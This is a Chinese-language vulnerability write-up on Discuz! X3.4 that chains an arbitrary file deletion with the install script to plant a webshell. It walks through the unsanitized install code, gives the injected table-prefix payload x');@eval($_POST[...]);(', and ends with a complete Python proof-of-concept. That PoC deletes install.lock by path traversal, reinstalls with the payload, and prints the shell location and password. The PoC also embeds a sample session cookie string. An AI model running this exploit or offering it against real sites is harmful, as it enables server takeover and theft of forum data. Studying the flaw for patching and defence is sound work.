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Discuz! X3.4 任意文件删除配合install过程getshell

一、漏洞简介

**可以利用的条件:**1、安装后没有登录后台,此时install/index还没删除 2、因为其他原因没有删除

二、漏洞影响

Discuz! X3.4

三、复现过程

漏洞分析

这个方法是看到一篇博客分析的,主要是利用文件删除漏洞删掉install.lock文件,绕过对安装完成的判断能够再进行安装的过程,然后再填写配置信息处构使用构造的表前缀名,时一句话写入配置文件中,getshell。

表前缀:x');@eval($_POST[lanvnal]);('

但是我在使用上面版本v3.4的代码时发现,安装后install目录下不存在index.php了。分析代码发现会有安装后的删除处理,在/source/admincp/admincp_index.php的第14行:

if(@file_exists(DISCUZ_ROOT.'./install/index.php') && !DISCUZ_DEBUG) {
    @unlink(DISCUZ_ROOT.'./install/index.php');
    if(@file_exists(DISCUZ_ROOT.'./install/index.php')) {
        dexit('Please delete install/index.php via FTP!');
    }
}

那是不是老版本存在该问题呢?

我翻了历史版本代码,直到git提交的第一个版本都有如上的处理。

但还是分析一下吧,就当学习了。

**可以利用的条件:**1、安装后没有登录后台,此时install/index还没删除 2、因为其他原因没有删除

分析一下安装逻辑,install/index.php文件的整体流程如下:

分别是我们安装的每一步,接受协议->环境检测->是否安装 UCenter Server->数据库配置信息->安装过程,生成lock文件->检查

问题出在在 db_init 的处理中,在代码第369行:

if(DZUCFULL) {
            install_uc_server();
        }

跟进install_uc_server,在1296行可以发现对config参数没做任何过滤传入到save_uc_config中:

save_uc_config($config, ROOT_PATH.'./config/config_ucenter.php');

然后save_uc_config也没做任何安全处理,就拼接参数后写入文件:

function save_uc_config($config, $file) {

    $success = false;

    list($appauthkey, $appid, $ucdbhost, $ucdbname, $ucdbuser, $ucdbpw, $ucdbcharset, $uctablepre, $uccharset, $ucapi, $ucip) = $config;

    $link = function_exists('mysql_connect') ? mysql_connect($ucdbhost, $ucdbuser, $ucdbpw, 1) : new mysqli($ucdbhost, $ucdbuser, $ucdbpw, $ucdbname);
    $uc_connnect = $link ? 'mysql' : '';

    $date = gmdate("Y-m-d H:i:s", time() + 3600 * 8);
    $year = date('Y');
    $config = <<<EOT
<?php


define('UC_CONNECT', '$uc_connnect');

define('UC_DBHOST', '$ucdbhost');
define('UC_DBUSER', '$ucdbuser');
define('UC_DBPW', '$ucdbpw');
define('UC_DBNAME', '$ucdbname');
define('UC_DBCHARSET', '$ucdbcharset');
define('UC_DBTABLEPRE', '`$ucdbname`.$uctablepre');
define('UC_DBCONNECT', 0);

define('UC_CHARSET', '$uccharset');
define('UC_KEY', '$appauthkey');
define('UC_API', '$ucapi');
define('UC_APPID', '$appid');
define('UC_IP', '$ucip');
define('UC_PPP', 20);
?>
EOT;

    if($fp = fopen($file, 'w')) {
        fwrite($fp, $config);
        fclose($fp);
        $success = true;
    }
    return $success;
}

因为 dbhost, dbuser等参数需要用来连接数据库,所以利用 tablepre 向配置文件写入shell。

漏洞复现

如果安装后install/index.php因为某些原因还存在,直接访问会有如下警告:

通过文件删除漏洞删除data目录下的install.lock文件就可以重新安装。

安装过程修改表前缀内容为:x');@eval($_POST[lanvnal]);('

config/config_ucenter.php中已经写入了webshell。

poc

#!/usr/bin/env python3
import base64
import random
import re
import string

import requests

sess = requests.Session()
randstr = lambda len=5: ''.join(random.choice(string.ascii_lowercase) for _ in range(len))

##################################################
########## Customize these parameters ############
target = 'http://localhost/discuzx'
# login target site first, and copy the cookie here
cookie = "UM_distinctid=15bcd2339e93d6-07b5ae8b41447e-8373f6a-13c680-15bcd2339ea636; CNZZDATA1261218610=1456502094-1493792949-%7C1494255360; csrftoken=NotKIwodOQHO0gdMyCAxpMuObjs5RGdeEVxRlaGoRdOEeMSVRL0sfeTBqnlMjtlZ; Zy4Q_2132_saltkey=I9b3k299; Zy4Q_2132_lastvisit=1506763258; Zy4Q_2132_ulastactivity=0adb6Y1baPukQGRVYtBOZB3wmx4nVBRonRprfYWTiUaEbYlKzFWL; Zy4Q_2132_nofavfid=1; Zy4Q_2132_sid=rsQrgQ; Zy4Q_2132_lastact=1506787935%09home.php%09misc; 7Csx_2132_saltkey=U8nrO8Xr; TMT0_2132_saltkey=E3q5BpyX; PXMk_2132_saltkey=rGBnNWu7; b4Gi_2132_saltkey=adC4r05k; b4Gi_2132_lastvisit=1506796139; b4Gi_2132_onlineusernum=2; b4Gi_2132_sendmail=1; b4Gi_2132_seccode=1.8dab0a0c4ebfda651b; b4Gi_2132_sid=BywqMy; b4Gi_2132_ulastactivity=51c0lBFHqkUpD3mClFKDxwP%2BI0JGaY88XWTT1qtFBD6jAJUMphOL; b4Gi_2132_auth=6ebc2wCixg7l%2F6No7r54FCvtNKfp1e5%2FAdz2SlLqJRBimNpgrbxhSEnsH5%2BgP2mAvwVxOdrrpVVX3W5PqDhf; b4Gi_2132_creditnotice=0D0D2D0D0D0D0D0D0D1; b4Gi_2132_creditbase=0D0D0D0D0D0D0D0D0; b4Gi_2132_creditrule=%E6%AF%8F%E5%A4%A9%E7%99%BB%E5%BD%95; b4Gi_2132_lastcheckfeed=1%7C1506800134; b4Gi_2132_checkfollow=1; b4Gi_2132_lastact=1506800134%09misc.php%09seccode"
shell_password = randstr()
db_host = ''
db_user = ''
db_pw = ''
db_name = ''
#################################################

path = '/home.php?mod=spacecp&ac=profile&op=base'
url = target + path

sess.headers.update({
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
    'Referer': url})


# sess.proxies.update({'http': 'socks5://localhost:1080'})
# sess.proxies.update({'http': 'http://localhost:8080'})


def login(username=None, password=None):
    sess.headers.update({'Cookie': cookie})


def get_form_hash():
    r = sess.get(url)
    match = re.search(r'"member.php\?mod=logging&action=logout&formhash=(.*?)"', r.text, re.I)
    if match:
        return match.group(1)


def tamper(formhash, file_to_delete):
    data = {
        'formhash': (None, formhash),
        'profilesubmit': (None, 'true'),
        'birthprovince': (None, file_to_delete)
    }
    r = sess.post(url, files=data)
    if 'parent.show_success' in r.text:
        print('tamperred successfully')
        return True


def delete(formhash, file):
    if not tamper(formhash, file):
        return False

    image = b'iVBORw0KGgoAAAANSUhEUgAAAAoAAAAKCAIAAAACUFjqAAAADUlEQVR4nGNgGAWkAwABNgABVtF/yAAAAABJRU5ErkJggg=='
    data = {
        'formhash': formhash,
        'profilesubmit': 'true'
    }
    files = {
        'birthprovince': ('image.png', base64.b64decode(image), 'image/png')
    }
    r = sess.post(url, data=data, files=files)
    if 'parent.show_success' in r.text:
        print('delete {} successfully'.format(file))
        return True


def getshell():
    install_url = target + '/install/index.php'
    r = sess.get(install_url)
    if '安装向导' not in r.text:
        print('install directory not exists')
        return False

    table_prefix = "x');@eval($_POST[{}]);('".format(shell_password)
    data = {
        'step': 3,
        'install_ucenter': 'yes',
        'dbinfo[dbhost]': db_host,
        'dbinfo[dbname]': db_name,
        'dbinfo[dbuser]': db_user,
        'dbinfo[dbpw]': db_pw,
        'dbinfo[tablepre]': table_prefix,
        'dbinfo[adminemail]': 'admin@admin.com',
        'admininfo[username]': 'admin',
        'admininfo[password]': 'admin',
        'admininfo[password2]': 'admin',
        'admininfo[email]': 'admin@admin.com',
    }
    r = sess.post(install_url, data=data)
    if '建立数据表 CREATE TABLE' not in r.text:
        print('write shell failed')
        return False
    print('shell: {}/config/config_ucenter.php'.format(target))
    print('password: {}'.format(shell_password))


if __name__ == '__main__':
    login()
    form_hash = get_form_hash()
    if form_hash:
        delete(form_hash, '../../../data/install.lock')
        getshell()
    else:
        print('failed')

参考链接

https://xz.aliyun.com/t/7492#toc-7